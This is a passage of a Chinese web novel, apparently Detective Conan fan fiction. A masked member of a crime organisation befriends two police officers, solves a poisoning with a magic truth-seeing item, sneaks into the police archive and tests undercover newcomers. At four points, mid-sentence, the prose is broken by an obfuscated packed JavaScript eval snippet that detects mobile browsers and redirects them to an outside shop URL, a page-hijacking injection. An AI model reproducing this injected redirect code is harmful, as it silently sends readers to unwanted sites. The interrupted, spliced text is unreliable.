确实有事要帮忙,事情也很简单,就是需要他们两个警察把他带进警视厅溜一圈再完整地送出来,但怎么开这个口,知花裕树还在沉思。 他沉思的时间有点久,坐在位子上一动不动,店员把他的咖啡放到了面前也没有任何反应,导致小姑娘甚为狐疑地看了他好几眼,似乎是在判断这是人还是蜡像。 萩原研二张了张嘴,被松田阵平拦住。 卷毛男人俨然高级工程师的做派,对眼前的故障机器下了判断:“等一下,他可能正在上发条。” 发条上好的知花裕树开口了。他打算以迂回的方式提出请求,先讲点好笑的事情活跃气氛。 “猎人用猎.枪打中了一只狐狸,为什么死的却是猎人?” 萩原研二逐渐习惯了对方跳跃性的思维,“因为狐狸其实是某个妖怪?” 松田阵平也提出自己的见解,“是猎.枪炸.膛了吧?” 知花裕树摇摇头,“因为那是一只反射狐。” 萩原研二:“……” 松田阵平:“……” 好冷! 觉得气氛铺垫得差不多了,知花裕树提起正事,“你们能带我去警视厅看看吗?” 萩原研二从冷得要命的气氛里走出来,喝了口咖啡暖暖身子,“只是去看看的话当然没问题,不过结城先生怎么忽然想到要去警视厅?” 知花裕树拿出早就准备好的说辞,“为工作积累素材。” 萩原研二是真的有点好奇了,“结城先生是做什么工作的?” 通常来说,一个人长期从事某样工作总会在他身上留下一些痕迹。经验丰富的警察能从这些痕迹中很快判断出对方常做的事情。 但结城珀身上这样的痕迹就很不明显。从他摆弄咖啡杯的手来看,指节白皙修长,没什么明显的茧子,不像是从事体力劳动的人群;要说脑力劳动……也不是说完全没可能,但肯定不会是那种需要和人有很多交流的工作。 如果一定要说的话,萩原研二觉得最适合对方的画像,应该是深山中的隐居者。 知花裕树顿了顿,肯定道:“吟游诗人。” 萩原研二:“……真是一份小众的职业呢哈哈。” 骗人的吧! 只是去警视厅转一圈对萩原研二和松田阵平而言并不是什么难事。 三人起身准备离开的时候,萩原研二注意到桌子上结城珀面前的咖啡纹丝未动,他语气抱歉地问:“是不喜欢喝咖啡吗?” 知花裕树倒也不是不喜欢喝咖啡,只是他现在的身体并不靠食物提供能量,消化食物反而还要消耗能量,所以他能不吃东西就不吃东西。 不过和别人一起吃饭却一口不动似乎很不礼貌。 知花裕树纠结了下,在萩原研二惊讶地伸出手阻止时仰头一口把咖啡全灌了下去,吐出一口咖啡沫沫。 “……没有,很喜欢。” 萩原研二哭笑不得,抽了两张餐纸递给他。 “不喜欢的话不要勉强自己啊。” 萩原研二发觉自己对结城珀的性格最大的误解可能就是严肃沉稳。 知花裕树慢慢从萩原研二手里接过纸巾,低头看了两眼,抽出一张放进口袋里,用另一张擦了擦嘴巴。 其实咖啡的味道确实还不错。 “死、死人了——!” 哐啷一声椅子倒地的声音把众人的视线都吸引了过去。萩原研二和松田阵平更是蹭地一下就原地消失,速度快得知花裕树只看见一道,啊不,两道残影。 正擦嘴的知花裕树:“……?” 他揉了把脸,踱着步凑到前面去。 两个警察配合默契,一个检查倒地那人的身体,一个控制人群保护现场——和知花裕树在书上看到的处理步骤一模一样。 换了别的时候他倒是挺乐意看警察是如何办案的,只是今天不行,他还等着赶紧拿到警视厅藏着的那件东西。 知花裕树掏出一副银框眼镜戴上。 【真相之镜】 据说是可以看穿真相的眼镜,又被称作福尔摩斯之眼,只要戴上它,真相就将在你面前无所遁形。但是制作者制作本品时品控不严,导致本品出现了小瑕疵,每次使用后,会随机产生小小的debuff,持续时间24小时。 在真相之镜的视角,倒在地上没了声息的女人头顶飘出几行字: [姓名:横山百合; 状态:已死亡,死亡时间3分钟; 死因:□□中毒; 杀人凶手:福冈雄一郎; 杀人手法:凶手在自己的杯中下毒,趁死者不注意调换了两人的杯子; 杀人动机:凶手与死者为情侣关系,凶手名下公司破产被死者发现,死者提出分手,百般挽留无果后,认为死者背叛了自己的凶手决定杀掉死者泄愤。] 福冈雄一郎—— 知花裕树的目光逡巡了半圈,在一个满脸悲痛、眼泪哗哗的男人头顶看到一个巨大的红色感叹号。 那表示他就是犯人。 正义判官知花裕树抖擞精神,推了下眼镜,一手指向男人,“福冈雄一郎,凶手就是你!” 他把通过真相之镜看到的信息逐字逐句念出来,在最后补充道:“你有权保持沉默,但你说的每句话都将成为呈堂证供!” 负责保护现场的松田阵平小声吐槽:“美剧看多了吧……” 不过这小子似乎有点本事,死者才刚倒下,他竟然这么快就摸清了真相。 萩原研二按住了还在叫嚣着“证据呢?你们有证据吗!”的福冈雄一郎,脸上笑容收敛,冰冷的目光刺得犯人下意识卡了壳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110953|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “有更多的话等进了警视厅再说吧。” …… 没想到又以协助者的身份进了警视厅,目暮警官听说是他帮忙破的案,高兴地拍了两下他的肩膀,“真没想到结城先生你原来是个侦探啊!” 知花裕树僵直了身体,“呃……嗯。” 目暮警官还专门找人把两年前没能交到他手上的见义勇为奖找了出来,包括一直封在信封里的奖金。 知花裕树:“其实我只想做好人好事,奖不奖的不重要。” 目暮十三:“……” 你但凡接奖金的速度慢一点我就信了。 知花裕树伸出两只手和目暮十三用力握了几下,大声道:“多谢奖,啊不是,多谢警视厅!” 因为声音太大,搜查一课的目光都看了过来。 目暮十三:“……不用谢。” 做完案件笔录从搜查一课走出来,萩原研二和松田阵平按照原定计划带着知花裕树在警视厅转了一圈。 不过警视厅有将近20层楼高,其中大部分部门是不对外开放的。能开放的那几层则毫无例外地人来人往。 警察与案件相关人员都步履匆匆。 知花裕树假装兴致勃勃的样子踱着步来回看,有萩原研二和松田阵平陪着,果然没人把他当可疑人员。 他让系统抓紧时间定位目标方位。 萩原研二问他:“刚才结城先生是怎么看出福冈雄一郎是凶手的?” 松田阵平对此也很好奇。 两人第一时间的怀疑对象也是福冈雄一郎,但太过细致的信息很难一眼就全部看穿。而结城珀表现得好像他之前就认识对方,而对方当着他的面制定了杀人计划一样。 吟游诗人停止踱步,扭头看着他们。警视厅的白炽灯灯光明亮,但因为鸭舌帽挡着,他的眉眼总藏在暗处。 “唔……就是那样。” 就是哪样啊!这也太敷衍了!! 三人停在了楼梯口。 系统:[小树,错不了,东西就在这下面。] 知花裕树往下瞥了瞥,好似只是随口一问。 “这下面是?” “是档案室,存放着一些旧卷宗。” 知花裕树“唔”了声,抬脚就往下迈,松田阵平拍了他一下,在他疑惑地望过来时笑着说:“这下面不对外开放。” 听起来就像是游戏里的“本区域尚未开放,请以后再来探索吧”。 “这样啊,我知道了。” 知花裕树乖乖地收回脚。 …… 当天深夜,知花裕树从警视厅一楼的厕所悄悄探头,往档案室所在的地下一层摸去。 他在白天和萩原研二与松田阵平告别后,又折返回警视厅藏在了一楼厕所。他倒不担心回头警方会在监控里发现他,反正只是一张假脸,随时能扔。 地下一层有很多间档案室,系统精准定位到目标所在的房间。知花裕树放轻了脚步来到房间门口。门锁用的是指纹加密码锁,无论是指纹还是密码都能开。 “幸好早有准备。”知花裕树嘀嘀咕咕掏出白天和目暮警官握手时悄悄从他手上用胶带沾下来的指纹,打开档案室的门,迈步走了进去。 11. 第十一章 档案室里非常黑,知花裕树手中手电筒的光打过去,白光走到哪里,哪里的黑便退后几步。 系统:[这边!] 跟着系统的指示,知花裕树成功找到了这次的目标,是一份档案。 系统迅速把档案上附着的能量回收,就算完成任务了。 知花裕树却没急着走。 档案室由一个个档案柜分隔成了一方方小空间,档案柜的顶端写着编号,形式为xxxx-xx-xx。 看上去像是按年月日来区分的。 知花裕树面前这个恰好是五年前的档案柜。 他被boss捡回组织也是五年前。当年那座岛上那么大的案子,死亡人数起码有几十个,冲天火光烧红半边云彩,但boss带他离开的时候也同他说过:“不必担心,事情都会解决。” 知花裕树有些好奇boss后来到底是如何处理的,几年过去,他确实未曾受过这件事的困扰。 那份档案并不难找,知花裕树把文件拿出来,翻看他最关注的信息。 【鼓川岛杀人事件】 案件处理结果:线索不足,仍在侦破中。 犯罪嫌疑人基本情况:暂无。 欸,居然是当悬案封存了啊。 查看档案的时候,知花裕树用嘴巴咬住了手电筒,盘腿坐在了地面上。 因为系统提供的能量非常抠搜,他的感官向来不够敏锐,察觉到外面隐约传来脚步声的时候,他猛地一惊,快速关掉手电筒。 门口传来低低的嘀咕。 “这个档案室的门怎么没关?” 嗯?他进来时没关门吗? 门口的人似乎不放心,手按在了门上,打算进来看看。 完蛋!他要进来的话自己肯定会被发现的! 千钧一发之际,一只手拉住了他,将他拽到另一侧的档案柜深处,那档案柜微微一转,竟然和旁边的柜子合到了一起。 两个柜子之间形成了一个小小的夹角,一具热腾腾的身体紧紧贴在了知花裕树身上。 怕他出声,那人还拿手按住了他的嘴唇。 知花裕树的神色迅速灰败,眼眸冷下来。 是谁? 对方比他要高一点,他的鼻子大概到对方下颌的位置,空气里隐约有股烟味,还有越来越浓的……呃,柠檬味? 系统好心提醒:[你的真相之镜上浮现了本次的debuff提示:您已触发了debuff效果“香味迷情”,本次debuff触发条件为“全黑密闭空间”,具体效果为引起人心中最隐秘的情感欲望,情感埋得越深,欲.望就越强。] 它顿了下,干巴巴地说:[有时候真的很佩服你的运气。] 【真相之镜】触发的效果是非常随机的,触发的条件也千奇百怪,比如:在照镜子的时候吃番茄会吃出苦瓜味;带粉色雨伞出门会出车祸;喝蜂蜜水的话头顶会长一根草;被蒙住眼的时候身体会变得敏感;等等。 因为debuff的效果只持续24小时,而且只有在触发了它的奇葩条件时,真相之镜才会跳出提醒,所以大多数人使用它好几年都未必能碰见一次,甚至会忘记这玩意儿有debuff。 但知花裕树使用它的每一次都成功触发了。 每一次。 系统:(哽咽)我苦命的花。 知花裕树的脸色由灰转黑。 就在系统小嘴叭叭的时候,门外也传来了别的声音。 “下川警官。” 嗓音含笑,是萩原研二的嗓音。 “萩原警官?你怎么在这里?”门推开一半的声音停住了。 “有份档案想查阅,查到一半去厕所了。” “原来如此,怪不得门是开着的。” 门外是萩原研二的话,他面前这个是谁就不言而喻了。知花裕树拍了拍嘴上捂着的手,示意对方放下来。 松田阵平倒是从善如流地没多纠缠。只是空间太小,两人的身体仍不得不挨得极近,门外的两人还在交谈,他们也不能做太大动作。 空气里的柠檬味越来越浓,对方似乎也察觉到了,疑惑地“嗯?”了声,微微埋低了脑袋,耸了耸鼻尖。 呼吸的滚烫热气就在知花裕树颈侧,他感觉到对方在嗅闻他身上的味道。因为俯低的动作,两人的身体贴得更近,肩膀微微撞在一起。 香味迷情。 知花裕树厌恶地撇了撇嘴,偏偏触发了这样的debuff,而且还是在这种环境,深夜、密闭……令他回想起无数相似的、难以逃脱的情境。 他不打算再等下去了,就算被警视厅发现,扔掉这张脸,也不能在这里坐以待毙。 知花裕树一手推开松田阵平,一手推开旁边遮挡的档案柜,另一边萩原研二也恰好推门而入。 他噙着笑,“晚上好,结城先生。” 萩原研二按开了墙上的灯光开关,骤然的明亮映出松田阵平纠结成一团皱抹布似的脸。 他捏了捏鼻子,用变形的嗓音说:“你用柠檬汁泡澡了吗?我鼻子都快酸掉了。” 知花裕树一愣。 松田阵平又捏鼻子又揉脸,瞪过来的目光隐含控诉,嘴里还嘀嘀咕咕:“用柠檬汁泡澡是什么怪毛病……” 萩原研二也在空气里嗅了嗅,“哇,好重的柠檬味,你们刚刚躲在里面吃柠檬了吗?” 完全没有受那个奇怪的debuff的影响,也就是说他们对他没有任何一点情感欲.望,纯得不能再纯。 系统整理了一下不存在的领结,[你看,我就说他们是直男吧,这个世界非直男才是少数,你根本不用担心。] 萩原研二似乎理解错了知花裕树呆滞的表情,指了指门外,“别担心,下川警官已经走了,现在这里只有我们三个。” 倒不是在担心这个。 不过这两个人怎么会知道他在这里,而且知道的这么精准? 知花裕树意识到什么,在身上翻找起来。 “不用找了,我已经回收了。”松田阵平举起手里的东西,那是个发讯器。 应该是在黑暗里被回收的。 知花裕树笑了下,虽然做坏事被当场抓包,但他此刻的心情很好,轻飘飘的。 萩原研二倚在门框处,长腿一支,“所以可以告诉我们,你想找什么吗?” 松田阵平捡起地上的档案袋。 那并非是【鼓川岛杀人事件】的卷宗。在黑暗中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14110954|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拉走的电光火石的刹那,知花裕树将那份档案塞了回去,留下来的是一开始有能量附着其上的那份宝物。 知花裕树垂眸,眼睛骨碌一转。 松田阵平打开档案袋查看的时候,他说:“这就是我的目的,我想知道这起案件的更多细节。” 【米花町3丁目23番地纵火事件】 简要案情:xxxx年xx月xx日下午5时起火,起火原因为人为纵火,被害者一家三口被困屋中,因浓烟堵塞呼吸道导致窒息死亡。 …… 案件处理结果:嫌疑人已入狱,被判无期徒刑。 鸭舌帽压低了,青年孤零零站在那里的身影似乎分外落寞,让人不忍多看。 “那是我养父母的家,当时我刚好在外地,等我回到家的时候大火正烧着,我不管不顾地冲进火场,但还是……” “警方怕我伤心过度没有和我透露案件的细节,我当时也浑浑噩噩的,后来清醒过来的时候犯人已经被抓了,但我……还是想要知道更多的细节,直接询问的时候警方不肯多说,我只好想了这个办法。抱歉,给你们添麻烦了。” 这是名为结城珀的男人迄今为止说过最长的一段话。他低着头,让人看不清表情。 萩原研二和松田阵平对视了一眼,干涩地说:“不,没事,我们也可以理解这种心情。” 松田阵平放下档案资料,拍了拍他的肩膀,“不过下次别再这么做了,今天幸好有我和萩在。” 而且他看的也并非什么涉密的东西,只是陈年旧案,顶多是偷溜进警视厅的罪过比较大。 知花裕树幽幽地盯着他:“当时进来没关门的是松田警官吧……” 松田阵平:“咳。” 知花裕树知道两位警察会相信他这套说辞的,他额角的烧伤疤痕是他与这起事故有关的最有力的证据,为了避免触及他的伤心事,他们也不可能再询问更多的细节。 至于之后如果他们再去调查,发现这家人根本没有所谓的养子—— 警视厅外。 知花裕树同两位警官告别:“谢谢你们,认识你们令我感到非常开心。” 萩原研二:“真的不用我们送你回去吗?” “不用,我住的地方很近。” 松田阵平:“你的推理能力很强,要不要考虑来当警察?” 知花裕树淡笑:“非常感谢您的推荐,我会考虑的。” “小阵平,你不要看到厉害的人就想拉人家当警察。”萩原研二笑着打了好友一下,又对着知花裕树斟酌着问:“小珀,以后可以这么叫你吗?” 知花裕树略微停顿,“还是叫我结城吧。” “没问题,小结城!”萩原研二自顾自添加了后缀。 知花裕树没有在意这个细节,他的目光逡巡过两人好看的眉眼,瞳孔里闪烁着柔软的光,仿佛有什么尖刺也在这光里退却了。 他小声说:“我走了,再见。” 在两人的目送下,他转身离去。 如果他们发现那家人根本没有养子也无所谓—— 因为他们再也不会见到结城珀了。 …… 但是知花裕树已经单方面将他们视为朋友。 12.第十二章 “你看起来心情很不错。”诸伏景光端起杯子,杯子里盛放着碧绿澄澈的茶水。 诸伏景光有个哥哥是品茶的行家,受他影响,诸伏景光对茶叶也略通一二,从色泽和味道上来讲,他手里这杯茶绝对是上品。 但他犹豫着不知道该不该喝。 因为这杯水是莱蒙倒给他的。 今天是他们三个新人交接任务的时刻。 当然,就算是组织的人,也不会无缘无故就对他们这些背景干净的新人公开下毒。但问题是,莱蒙用来装茶的水壶实在太怪了。 一进门,诸伏景光的视线就被这奇怪的水壶吸引了。 它就放在办公桌上,不大不小的体积;通体呈类似天空般的蓝白色,只有水壶盖是太阳的形状;明明是个水壶,却给人一种它心情很愉快的感觉。 到这里也还算正常。 不正常的是,它会唱歌。 诸伏景光没看到发声的装置在哪里。 不过莱蒙拿它倒水的时候,它确实在用欢快的语调唱:“快快乐乐喝茶水,美丽的心情传给你~” 它的主人也在跟着哼。 “你们尝尝看,我从boss那里偷来的茶叶,据说是从兔国进口的顶尖茶叶,boss那里也只有三罐。” “谢谢,不过boss万一发现了的话,没问题吗?”金发黑皮男人一副忧心忡忡的样子。 莱蒙仍然戴着那个让人不能直视的面具,但从面具后传来的声音十分雀跃,“没问题,我在现场留下的是黑的指纹。” 降谷零:“……” 诸星大则没有表现出什么情绪,他淡淡地瞥了眼茶水,“谢谢,我不喝茶。” 诸伏景光最后一个端起杯子,斟酌着试探,“你看起来心情很不错。” 面具都挡不住那股油然而生的开心,诸伏景光很好奇短短三天时间到底发生了什么让对方变化这么大。 上次见面的时候,莱蒙压根不愿意让他们靠近他两米范围内,这次却主动拿出珍藏的茶叶招待。 虽然从肢体动作来看,他最偏爱的似乎还是诸星大。 更多试探的话语没有用上,莱蒙兴奋地直接给出了答案。 “我交到朋友了!” 朋友?是什么他不知道的行业黑话吗?莫非是“交易成功”,或者“抓到了叛徒”,再或者“发现了新货源”什么的? 莱蒙两只手按在桌子上,这个动作令他的身体略微前倾,脸上的面具进一步在视线中放大。 三人同时忍不住闭了下眼。 “绿川君、安室君、诸星君,你们有朋友吗?” 这算什么问题? 诸伏景光克制住下意识想往降谷零那边瞥的目光。 另外两个人一时之间也没想明白莱蒙葫芦里卖的什么药。 难道这也是新人考核的一部分? 诸伏景光抿了口茶水,争取了两秒思考的时间,放下杯子,他试探着问:“能不能请教一下,你口中这个朋友,是指什么?” 似乎是没想到他会问这个问题,莱蒙顿了下,一种怜悯从面具后透出来。 他拍了拍手,名叫葡萄酒的银环蛇竟然用尾巴卷着一个小白板哼哧哼哧爬了过来。 三个新人:“……” 雇佣蛇工! 莱蒙在白板上边写边说:“朋友,就是指对彼此没有非分之想,而且可以为了守护对方奉上所有,乃至生命的人。” 等等,你说的朋友还真是这个朋友啊! 莱蒙放下白板,似乎是思索了下,肯定性地点了点头,“我和诸星大就是朋友。” 降谷零和诸伏景光同时看向诸星大。 这家伙怎么做到的?难道这三天他没有去完成任务而是在讨好莱蒙? 呵,不愧是靠女人上位的家伙。 诸星大:“……” 他还真不知道自己什么时候就跟莱蒙是朋友了。 金发男人快速回神,似真似假地抱怨道:“这也太不公平了,莱蒙先生,我们差不多是同时进入组织的,为什么只有诸星是你的朋友?” 莱蒙快速说:“不要着急,通过考验的话,你们也是我的朋友!我还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115008|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有朋友的名额。” 降谷零眸色一深。 考验? 诸星大是已经通过考验了?这里面果然还有他不清楚的内情。 知花裕树:[看到了吗系统!我的10个朋友目标马上就能达成了!] 系统:[你……我……算了……] 自打上次和那两个警察建立单方面朋友关系后,孩子就一直处于兴奋状态,这一点从他抽出的新道具【心情茶壶】上也可见一斑。 【心情茶壶】 原本是废品的茶壶经由本司工程师妙手回春变成了能反映主人心情的神奇茶壶。茶壶外观将随主人心情呈现晴、多云、阴、小鱼、大雨、沙尘、冰雹等多种形态,还能一展歌喉,实为居家旅行必备之良品。 又是没什么用的玩意儿,知花裕树自己倒挺喜欢,爱不释手的,为此还专门去偷了boss两罐茶叶。 闲谈完毕,就该干正事了。 三个新人这次是来提交新人任务的,鉴于他们选择了各自为战,所以最终交上来的结果也是三份。 降谷零和诸伏景光动用了公安的力量,因此提交的结果非常详细,都明明白白记录了两人的推断。 赤井秀一这边因为没有公安能给他开后门,FBI的力量鞭长莫及,因此查到的讯息少了一部分。 他倒是也查出了凶手是谁,只是对于犯案动机不甚明了。 知花裕树表示理解。 “是为了陪女友没时间忙任务对吧?我非常理解,非常理解。很不错,请务必继续保持。” 降谷零和诸伏景光的目光再次瞥向诸星大。 这家伙到底给莱蒙灌了什么迷魂汤?不会是靠完女人上位,还打算靠男人继续上位吧? 诸星大:“……” 决定进入组织卧底的时候,他可从未想过压力是从这种角度来的。莱蒙似乎格外关注他的恋情,他猜不透对方葫芦里卖的什么药,只是不希望宫野明美再因为他的关系招致组织成员的过多关注,从而给她带来危险。 也许他该找个时间和明美分手了。 13.第十三章 有关白鸟龙太的死亡真相,知花裕树早就通过【真相之镜】看穿了。他毕竟要知道答案,才能判断新人们的回答是否准确。 三人全都找出了真凶。 白鸟龙太是被伪装成外卖员的断空组成员石坂勇斗杀害的。 断空组曾和组织进行过某些药物交易,他们眼馋组织的研究成果,于是自己也弄了个研究所,效果却不尽如人意。 毕竟研究这种东西非一朝一夕之功,哪怕是组织,也是经过了漫长的时光才有了如今的成果。 断空组的领导层便想了个歪主意——直接窃取组织这边的研究成果。他们通过自己的情报渠道得到消息,知道了白鸟龙太是组织的核心研究员之一,他手上有个u盘,里面存放着不少组织的重要研究资料,于是就盯上了他。 但是断空组害怕组织的报复又不敢明目张胆,这才设计将白鸟龙太他杀事件伪装成了自杀。 安室透和绿川希罗递交的结果都查到了石坂勇斗是断空组成员,但两人都不知道断空组的真正目的是白鸟龙太手中的u盘。 这也是当然的。 白鸟龙太手里有个装着重要研究资料的u盘这种事哪怕在组织内部也是少数人才知道的秘密。 “第一步任务你们都完成得很好。”知花裕树把石坂勇斗的相片放到桌子上,推到三人面前,“第二步任务,狙杀石坂勇斗——我们要让断空组知道和组织作对的后果。” …… 狙杀石坂勇斗的具体计划是三个新人自己制定的,知花裕树只负责提要求。 一、要搞个大场面,凸显组织的逼格和气质; 二、要搞个大场面,让断空组再也不敢和组织作对; 三、要搞个大场面,因为知花裕树自己喜欢。 三人组听完,耳朵边只有不断回荡的魔音贯耳般的“大场面大场面大场面……”。 丢下只有大纲的要求,这位性格古怪的银发青年就退了两步,在沙发上盘腿坐下。 他今天穿着一身西式幻想轻小说风的衣服,有点像神父的袍子,白色的,腰间松松垮垮束着腰链,脖子上也挂了一串又一串硕大的项链,红的绿的撞到一起,动一下就丁零当啷地响。 衣服领口很宽松,因着他的动作往右侧滑落些许,凹陷的锁骨伶仃弯出一道,盛满头顶水晶吊灯晕黄的光。 他的身材其实很好,紧实的薄肌覆了一层,在他发力时绷出流畅的形状,仿佛一只矫健敏捷的野猫。 只是脸上那副面具委实过于抢镜,叫任何人看到他的第一眼都会下意识克制、忍耐恶心,自然而然地忽视他挺拔匀称的身材,将他和丑陋与狰狞联系在一起。 面具往下掉了一点,被修长干净的手指推上去。 “你们做好计划了再叫我,我有要紧事要忙。”银发青年的嗓音朦朦地从面具后冒出来。 三人组目前还在新人考核期,他们制定的计划要先过了莱蒙这关才能执行。 和另外两人展开讨论前,降谷零暗暗地用余光扫过沙发上的银发青年,他正弯腰从沙发旁的口袋里拿东西。 从降谷零的视角看,能看到他几乎完全转过去的背影,脊背弓起羽毛般的弧度,银色发丝上挂了用作装饰物的缀着红色串珠的链条,用来固定面具的绷带也从后脑勺绕了过去。 那个丑绝人寰的面具暂时从视野中消失了。 所以那张面具后的脸到底是什么样的? 降谷零按捺住好奇心,将目光投注到桌子上堆放的资料上。 知花裕树在忙着玩水晶球。 水晶球是伏特加帮忙买的,据说是从涩谷颇有名气的占卜魔女手里买来的,花了他足足一个月的工资,现在想起来还有点肉疼。 前唯物主义者知花裕树最近再度迷上了占卜,目前正在努力往大师的方向发展。 系统好奇:[你今天在看什么运势?] 知花裕树神情严肃:[朋友运。水晶球说我这辈子很可能至少有一百个朋友。] 系统:[……你对交朋友这件事还真是执着。] 可能这就是越缺什么越想要什么吧,它贴心地没说出后半句。 知花裕树盯着水晶球认真观察了一会儿那笼在云雾后的变幻莫测的命运,忽然摸了摸自己脸上的面具,[我是不是把这东西扔掉再交朋友比较好?] 系统:[清汤大老爷英明,您走失的脑子终于回家啦!] 知花裕树:[呵,对大老爷我一点也不尊重,来人呀,拖下去斩三分钟!] 因为这件事boss那边催得很急,等不及让三个新人慢慢行动,所以知花裕树提前让人查好了石坂勇斗最近的行踪,并整理成资料交给了三人组,帮他们减少工作量。 效果显著。 只花了不到一个小时,三人就定下了最终暗杀计划。 “这周五是断空组老大岛田龙生的小女儿的生日,他很疼爱这个女儿,特意举办了隆重的生日宴会,到时候所有断空组有头有脸的人物都会去给他女儿庆生,假如我们能当着所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129573|149777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有宾客的面杀掉石坂勇斗并全身而退,势必能有力威慑断空组。” “我这两天想办法提前潜入宴会酒店,当天以侍应生的身份参与宴会,诸星大那边则伪装一份请帖,在宴会当天以客人的身份混进去,到时候我们互相配合将目标带到指定地点,然后由绿川进行狙.击。如果有其他情况再随机应变。” 计划整体上是没有问题的,剩下的主要看微操。 知花裕树给他们鼓劲:“加油,你们是我带过最好的一届新人,老,咳,莱蒙大人非常看好你们!哦对了,需要我帮你们占卜一下运势吗?” 尽管隔着一层面具,诸伏景光却隐约感觉到了那后面殷切期待的目光。诸星大以他不信这个为理由礼貌拒绝了莱蒙,他的好友降谷零大概也会圆滑地编个借口推回去。 其实这并不是什么要紧事,也许哄一哄莱蒙对未来的卧底工作更有好处。 诸伏景光想好了说辞。 “用水晶球占卜吗?听起来很有趣,那就拜托你了,莱蒙。” 出乎意料的,金发青年顺着莱蒙的指引在他对面坐了下来,似乎对水晶球占卜充满了兴趣。 没想到自己会有猜错好友行动的一天,诸伏景光微微一怔。 知花裕树按照脑子里储存的神秘学知识在水晶球上左摸摸右看看。 “嗯,不太妙……看起来你们这次任务会遇到一些波折……” 知花裕树偷看安室透的表情,因为面具的遮挡,他的视野总会有种被限制的束缚感,这时常会弄得他很难受。 被束缚的视野中,金发青年微微蹙眉,似乎因他的话而产生了些许焦虑,“任务难道会失败?” 知花大师赶忙安抚他,“没事没事,看起来虽然会遇到一些波折,但你们最终会化险为夷、转危为安……而且,看上去安室你还会遇到好事。” 他再次偷瞄安室透的表情。 其实降谷零、诸伏景光和赤井秀一没一个人相信莱蒙这些胡言乱语,不过他们也确实有点好奇莱蒙打算说什么。 没准胡言乱语只是表象,他其实是在暗示或者试探些什么。 “好事?” 知花裕树就等着安室透问出来,马上说:“是桃花运!” 降谷零:“……” 诸伏景光:“……噗……咳……” 赤井秀一:“恭喜。” 银发青年抱着水晶球仿佛在询问什么关系人类生死存亡的重大事件,“所以,安室君,你喜欢什么类型的女孩子?” 14.第十四章 晃悠的宝石项链反射着水晶吊灯的光。银发青年一副不问到答案誓不罢休的架势。 讨论喜欢什么类型的女孩子这种事还是上学的时候在男生间最流行的,此刻在降谷零身旁不远处表面镇定自若实际偷偷憋笑的某幼驯染也曾问过他类似的问题。 降谷零倒是没想到莱蒙会对这个感兴趣,他想不到对方关注这件事的原因,凭借着卧底的本能半真半假道:“抱歉,我现在一心想得到代号,对女人没什么兴趣。如果一定要说的话,我倒希望能把组织视为恋人,这样也不错。” 这个回答应该天衣无缝了吧?降谷零勾唇一笑。 知花裕树沉思,知花裕树大脑飞速运转,知花裕树疑惑卡壳。 “组织……是男是女?” 降谷零笑容僵住。 诸伏景光帮忙狡辩:“我想安室君说的是一种拟人的手法,意思是他会向boss效忠。” 知花裕树:“!” “你喜欢boss?可是boss都是糟老头子了!” 喜欢男人,但恋老——这个朋友是能交还是不能交? 知花裕树抱着水晶球慎重思考。 诸星大慢悠悠道:“恭喜安室君,靠boss上位指日可待。” 降谷零瞪了他一眼,终于放弃了故弄玄虚,怒而强调:“我喜欢女孩子,不喜欢糟老头子!话说莱蒙你把boss说成糟老头子是不是也太不尊重boss了?!” 无法看到银发青年的表情,但他的肢体动作和语气分明仍透露着狐疑。 “这样啊,我知道了……不过安室君你不要瞎说,我对boss可是发自内心的尊敬。哪怕他是糟老头子也尊敬,这才是下属的终极奥义。安室君,在这方面你还要多学习。” 降谷零:“……” 明明这波意外套出了有关boss的重要情报应该高兴才对,为什么完全笑不出来。 …… 三人组在为周五的行动做准备的时候,知花裕树这边也没闲着。三人组负责杀掉石坂勇斗,他则需要将那个被带走的u盘拿回来。 组织里装着重要资料的u盘都经过了层层加密技术保护,并安装了隐蔽追踪装置。 只要有人打开u盘,追踪装置便会立刻往管理员处发送u盘位置信息,这也是为了防止研究员将资料带到不该带的地方的预防措施。 技术管理员将u盘最后一次发送的定位转发到了知花裕树的手机。 [东京都丰岛区杯户町2丁目23番地:杯户松滁大酒店] [附:实时追踪链接] 